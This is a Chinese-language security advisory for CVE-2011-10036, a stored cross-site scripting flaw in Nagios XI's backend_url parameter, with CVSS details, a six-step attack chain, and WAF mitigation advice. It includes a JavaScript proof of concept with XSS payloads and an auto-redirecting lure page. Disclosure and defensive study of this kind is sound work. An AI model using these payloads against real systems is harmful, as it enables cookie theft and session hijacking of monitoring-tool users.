CVE-2011-10036 CVSS 5.4 中危

CVE-2011-10036: Nagios XI backend_url XSS跨站脚本漏洞

披露日期: 2025-10-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2011-10036

漏洞类型

XSS跨站脚本漏洞

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Nagios XI

漏洞概述

CVE-2011-10036是Nagios XI软件中的一个存储型跨站脚本（XSS）漏洞。该漏洞存在于Nagios XI对"backend_url"参数的JavaScript链接处理过程中。攻击者可以通过在backend_url参数中注入恶意JavaScript代码，当其他用户访问包含该恶意链接的页面时，注入的脚本将在受害者浏览器上下文中执行。由于Nagios XI是一款广泛使用的企业级网络和系统监控工具，通常具有较高的访问权限，因此此类XSS漏洞可能导致敏感信息泄露、会话劫持或其他客户端攻击。漏洞影响Nagios XI 2011R1.9之前的所有版本，CVSS评分5.4，属于中等严重程度。

技术细节

该漏洞的根本原因在于Nagios XI对用户提供的backend_url参数缺乏充分的输入验证和输出编码。在Web应用的JavaScript处理逻辑中，backend_url参数被直接用于生成动态链接或脚本内容，而没有对特殊字符进行适当的转义或过滤。攻击者可以构造包含JavaScript协议（如javascript:）或HTML标签的payload，例如：<img src=x onerror=alert(document.cookie)>。当受害者访问包含该恶意链接的页面时，浏览器会解析并执行注入的脚本代码。由于攻击发生在应用层面，且涉及用户交互（UI:R），攻击者通常需要诱导受害者点击特定链接或访问特定页面。此类XSS漏洞虽然不直接导致服务器端代码执行，但可被用于窃取认证令牌、劫持用户会话或进行钓鱼攻击。

攻击链分析

STEP 1

步骤1

攻击者识别目标Nagios XI实例并确认其版本低于2011R1.9

STEP 2

步骤2

攻击者构造包含恶意JavaScript代码的backend_url参数payload

STEP 3

步骤3

攻击者通过钓鱼邮件、恶意链接或社交工程诱导受害者访问包含恶意payload的URL

STEP 4

步骤4

受害者的浏览器解析backend_url参数并执行注入的JavaScript代码

STEP 5

步骤5

恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息

STEP 6

步骤6

攻击者利用窃取的凭证劫持用户会话，执行未授权操作或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2011-10036 PoC - Nagios XI XSS via backend_url
// Target: Nagios XI < 2011R1.9
// Attack Vector: Inject JavaScript via backend_url parameter

// Malicious URL construction
const maliciousUrl = 'http://target-nagios-xi/nagiosxi/backend/';
const payload = 'backend_url=javascript:alert(document.cookie)';

// Alternative payload with img tag
const imgPayload = 'backend_url=<img src=x onerror=alert(document.domain)>';

// Full PoC URL
const pocUrl = `${maliciousUrl}?${payload}`;

console.log('CVE-2011-10036 PoC URL:');
console.log(pocUrl);

// HTML PoC page
const htmlPoC = `
<!DOCTYPE html>
<html>
<head><title>CVE-2011-10036 PoC</title></head>
<body>
<h1>Nagios XI XSS via backend_url</h1>
<p>Click the link below to trigger XSS:</p>
<a href="${pocUrl}">Malicious Link</a>
<script>
// Auto-submit or redirect to trigger the vulnerability
if (location.hash === '#auto') {
    window.location.href = '${pocUrl}';
}
</script>
</body>
</html>
`;

console.log('\nHTML PoC:');
console.log(htmlPoC);

影响范围

Nagios XI < 2011R1.9

防御指南

临时缓解措施

在Nagios XI升级到安全版本之前，可通过配置Web应用防火墙（WAF）规则来过滤包含javascript:协议和危险HTML标签的请求参数。同时限制用户对敏感功能的访问权限，并监控异常请求模式。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表